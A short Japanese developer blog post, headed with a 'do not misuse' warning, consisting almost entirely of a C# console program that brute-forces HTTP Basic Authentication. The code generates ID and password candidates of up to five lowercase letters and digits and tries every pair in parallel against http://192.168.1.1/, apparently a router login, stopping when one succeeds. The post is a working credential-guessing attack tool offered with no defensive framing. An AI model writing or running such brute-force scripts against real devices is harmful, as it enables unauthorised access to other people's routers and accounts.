読者です 読者をやめる 読者になる 読者になる

ふるすたっくえんじにあっぽい人の日記

ASP .NET MVC (C#)、.NET Framework、iOS (Objective-c) アプリ、Androidアプリ (Java)、AWS、たまにLAMPとかプロジェクトマネジメントあたりのお話

悪用厳禁なやつ

ひさびさに.NET書いたねん。
どうしてもしょうがなくね。
悪用厳禁

using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            const string availableChars = "1234567890abcdefghijklmnopqrstuvwxyz";
            const int length = 5;

            var strs = new List<string>();
            Enumerable.Range(1, length).ToList().ForEach(x =>
            {
                strs.AddRange(GenerateCombinations(availableChars.ToCharArray(), x).Select(y => new string(y.ToArray())).ToList());
            });
            
            Parallel.ForEach(strs, x =>
            {
                Parallel.ForEach(strs, y =>
                {
                    var id = new string(x.ToArray());
                    var pass = new string(y.ToArray());
                    Console.WriteLine("ID:{0} Password:{1}", id, pass);
                    if (CheckBasicAuth(id, pass))
                    {
                        Console.ReadLine();
                        Environment.Exit(0);
                    }
                });
            });
        }
        
        private static IEnumerable<List<T>> GenerateCombinations<T>(IEnumerable<T> source, int n)
        {
            var s = source.ToArray();
            return Enumerable.Range(0, n - 1)
                .Aggregate(
                    Enumerable.Range(0, s.Count() - n + 1)
                        .Select(num => new List<int>() { num }),
                    (list, _) => list.SelectMany(c =>
                        Enumerable.Range(c.Max() + 1, s.Count() - c.Max() - 1)
                            .Select(num => new List<int>(c) { num })
                        )
                    )
                .Select(c => c
                    .Select(num => s[num])
                    .ToList()
                    );
        }

        private static bool CheckBasicAuth(string id, string pass)
        {
            var client = new WebClient();
            client.Credentials = new NetworkCredential(id, pass);
            try
            {
                var pagedata = client.DownloadData("http://192.168.1.1/");
                Console.WriteLine(Encoding.UTF8.GetString(pagedata));
                return true;
            }
            catch
            {
                return false;
            }
        }
    }
}